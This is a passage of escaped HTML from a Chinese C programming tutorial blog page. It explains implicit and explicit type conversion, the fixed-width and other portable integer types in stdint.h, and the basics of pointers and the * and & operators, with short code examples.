class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((-a) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;negative\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ea\u003c/code\u003e是 unsigned char 类型,这个类型不可能小于0,但是\u003ccode\u003e-a\u003c/code\u003e不是 unsigned char 类型,会自动转为 int 类型,导致上面的代码输出 negative。\u003c/p\u003e\u003cp\u003e再看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e b = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((a - \u003cspan class=\"number\"\u003e5\u003c/span\u003e) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) do_something();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((b + c) \u0026gt; \u003cspan class=\"number\"\u003e300\u003c/span\u003e) do_something();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,表达式\u003ccode\u003ea - 5\u003c/code\u003e和\u003ccode\u003eb + c\u003c/code\u003e都会自动转为 int 类型,所以函数\u003ccode\u003edo_something()\u003c/code\u003e会执行两次。\u003c/p\u003e\u003ch4 id=\"函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"函数\"\u003e\u003c/a\u003e函数\u003c/h4\u003e\u003cp\u003e函数的参数和返回值,会自动转成函数定义里指定的类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003edostuff\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e m = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e n = \u003cspan class=\"number\"\u003e43\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c = dostuff(m, n);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,参数变量\u003ccode\u003em\u003c/code\u003e和\u003ccode\u003en\u003c/code\u003e不管原来的类型是什么,都会转成函数\u003ccode\u003edostuff()\u003c/code\u003e定义的参数类型。\u003c/p\u003e\u003cp\u003e下面是返回值自动转换类型的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数内部的变量\u003ccode\u003ea\u003c/code\u003e是\u003ccode\u003eint\u003c/code\u003e类型,但是返回的值是\u003ccode\u003echar\u003c/code\u003e类型,因为函数定义中返回的是这个类型。\u003c/p\u003e\u003ch3 id=\"类型的显式转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E7%9A%84%E6%98%BE%E5%BC%8F%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"类型的显式转换\"\u003e\u003c/a\u003e类型的显式转换\u003c/h3\u003e\u003cp\u003e原则上,应该避免类型的自动转换,防止出现意料之外的结果。C 语言提供了类型的显式转换,允许手动转换类型。\u003c/p\u003e\u003cp\u003e只要在一个值或变量的前面,使用圆括号指定类型\u003ccode\u003e(type)\u003c/code\u003e,就可以将这个值或变量转为指定的类型,这叫做“类型指定”(casting)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e) ch\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003ech\u003c/code\u003e转成无符号的字符类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e y = (\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e) \u003cspan class=\"number\"\u003e10\u003c/span\u003e + \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e(long int)\u003c/code\u003e将\u003ccode\u003e10\u003c/code\u003e显式转为\u003ccode\u003elong int\u003c/code\u003e类型。这里的显示转换其实是不必要的,因为赋值运算符会自动将右边的值,转为左边变量的类型。\u003c/p\u003e\u003ch3 id=\"可移植类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E7%A7%BB%E6%A4%8D%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"可移植类型\"\u003e\u003c/a\u003e可移植类型\u003c/h3\u003e\u003cp\u003eC 语言的整数类型(short、int、long)在不同计算机上,占用的字节宽度可能是不一样的,无法提前知道它们到底占用多少个字节。\u003c/p\u003e\u003cp\u003e程序员有时控制准确的字节宽度,这样的话,代码可以有更好的可移植性,头文件\u003ccode\u003estdint.h\u003c/code\u003e创造了一些新的类型别名。\u003c/p\u003e\u003cp\u003e(1)精确宽度类型(exact-width integer type),保证某个整数类型的宽度是确定的。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eint8_t\u003c/code\u003e:8位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint16_t\u003c/code\u003e:16位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint32_t\u003c/code\u003e:32位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint64_t\u003c/code\u003e:64位有符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint8_t\u003c/code\u003e:8位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint16_t\u003c/code\u003e:16位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint32_t\u003c/code\u003e:32位无符号整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euint64_t\u003c/code\u003e:64位无符号整数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些都是类型别名,编译器会指定它们指向的底层类型。比如,某个系统中,如果\u003ccode\u003eint\u003c/code\u003e类型为32位,\u003ccode\u003eint32_t\u003c/code\u003e就会指向\u003ccode\u003eint\u003c/code\u003e;如果\u003ccode\u003elong\u003c/code\u003e类型为32位,\u003ccode\u003eint32_t\u003c/code\u003e则会指向\u003ccode\u003elong\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个使用示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdint.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint32_t\u003c/span\u003e x32 = \u003cspan class=\"number\"\u003e45933945\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x32 = %d\\n\u0026#34;\u003c/span\u003e, x32);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex32\u003c/code\u003e声明为\u003ccode\u003eint32_t\u003c/code\u003e类型,可以保证是32位的宽度。\u003c/p\u003e\u003cp\u003e(2)最小宽度类型(minimum width type),保证某个整数类型的最小长度。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint_least8_t\u003c/li\u003e\u003cli\u003eint_least16_t\u003c/li\u003e\u003cli\u003eint_least32_t\u003c/li\u003e\u003cli\u003eint_least64_t\u003c/li\u003e\u003cli\u003euint_least8_t\u003c/li\u003e\u003cli\u003euint_least16_t\u003c/li\u003e\u003cli\u003euint_least32_t\u003c/li\u003e\u003cli\u003euint_least64_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些类型,可以保证占据的字节不少于指定宽度。比如,\u003ccode\u003eint_least8_t\u003c/code\u003e表示可以容纳8位有符号整数的最小宽度的类型。\u003c/p\u003e\u003cp\u003e(3)最快的最小宽度类型(fast minimum width type),可以使整数计算达到最快的类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint_fast8_t\u003c/li\u003e\u003cli\u003eint_fast16_t\u003c/li\u003e\u003cli\u003eint_fast32_t\u003c/li\u003e\u003cli\u003eint_fast64_t\u003c/li\u003e\u003cli\u003euint_fast8_t\u003c/li\u003e\u003cli\u003euint_fast16_t\u003c/li\u003e\u003cli\u003euint_fast32_t\u003c/li\u003e\u003cli\u003euint_fast64_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面这些类型是保证字节宽度的同时,追求最快的运算速度,比如\u003ccode\u003eint_fast8_t\u003c/code\u003e表示对于8位有符号整数,运算速度最快的类型。这是因为某些机器对于特定宽度的数据,运算速度最快,举例来说,32位计算机对于32位数据的运算速度,会快于16位数据。\u003c/p\u003e\u003cp\u003e(4)可以保存指针的整数类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eintptr_t\u003c/code\u003e:可以存储指针(内存地址)的有符号整数类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euintptr_t\u003c/code\u003e:可以存储指针的无符号整数类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(5)最大宽度整数类型,用于存放最大的整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eintmax_t\u003c/code\u003e:可以存储任何有效的有符号整数的类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003euintmax_t\u003c/code\u003e:可以存放任何有效的无符号整数的类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的这两个类型的宽度比\u003ccode\u003elong long\u003c/code\u003e和\u003ccode\u003eunsigned long\u003c/code\u003e更大。\u003c/p\u003e\u003ch2 id=\"指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"指针\"\u003e\u003c/a\u003e指针\u003c/h2\u003e\u003cp\u003e指针是 C 语言最重要的概念之一,也是最难理解的概念之一。\u003c/p\u003e\u003ch3 id=\"简介-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-1\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e指针是什么?首先,它是一个值,这个值代表一个内存地址,因此指针相当于指向某个内存地址的路标。\u003c/p\u003e\u003cp\u003e字符\u003ccode\u003e*\u003c/code\u003e表示指针,通常跟在类型关键字的后面,表示指针指向的是什么类型的值。比如,\u003ccode\u003echar*\u003c/code\u003e表示一个指向字符的指针,\u003ccode\u003efloat*\u003c/code\u003e表示一个指向\u003ccode\u003efloat\u003c/code\u003e类型的值的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* intPtr;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个变量\u003ccode\u003eintPtr\u003c/code\u003e,它是一个指针,指向的内存地址存放的是一个整数。\u003c/p\u003e\u003cp\u003e星号\u003ccode\u003e*\u003c/code\u003e可以放在变量名与类型关键字之间的任何地方,下面的写法都是有效的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *intPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e * intPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* intPtr;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e本书使用星号紧跟在类型关键字后面的写法(即\u003ccode\u003eint* intPtr;\u003c/code\u003e),因为这样可以体现,指针变量就是一个普通变量,只不过它的值是内存地址而已。\u003c/p\u003e\u003cp\u003e这种写法有一个地方需要注意,如果同一行声明两个指针变量,那么需要写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e * foo, * bar;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* foo, bar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二行的执行结果是,\u003ccode\u003efoo\u003c/code\u003e是整数指针变量,而\u003ccode\u003ebar\u003c/code\u003e是整数变量,即\u003ccode\u003e*\u003c/code\u003e只对第一个变量生效。\u003c/p\u003e\u003cp\u003e一个指针指向的可能还是指针,这时就要用两个星号\u003ccode\u003e**\u003c/code\u003e表示。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e** foo;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例表示变量\u003ccode\u003efoo\u003c/code\u003e是一个指针,指向的还是一个指针,第二个指针指向的则是一个整数。\u003c/p\u003e\u003ch3 id=\"运算符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6-1\" class=\"headerlink\" title=\"* 运算符\"\u003e\u003c/a\u003e* 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e*\u003c/code\u003e这个符号除了表示指针以外,还可以作为运算符,用来取出指针变量所指向的内存地址里面的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = *p + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eincrement()\u003c/code\u003e的参数是一个整数指针\u003ccode\u003ep\u003c/code\u003e。函数体里面,\u003ccode\u003e*p\u003c/code\u003e就表示指针\u003ccode\u003ep\u003c/code\u003e所指向的那个值。对\u003ccode\u003e*p\u003c/code\u003e赋值,就表示改变指针所指向的那个地址里面的值。\u003c/p\u003e\u003cp\u003e上面函数的作用是将参数值加\u003ccode\u003e1\u003c/code\u003e。该函数没有返回值,因为传入的是地址,函数体内部对该地址包含的值的操作,会影响到函数外部,所以不需要返回值。事实上,函数内部通过指针,将值传到外部,是 C 语言的常用方法。\u003c/p\u003e\u003cp\u003e变量地址而不是变量值传入函数,还有一个好处。对于需要大量存储空间的大型变量,复制变量值传入函数,非常浪费时间和空间,不如传入指针来得高效。\u003c/p\u003e\u003ch3 id=\"amp-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#amp-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"\u0026amp; 运算符\"\u003e\u003c/a\u003e\u0026amp; 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符用来取出一个变量所在的内存地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd 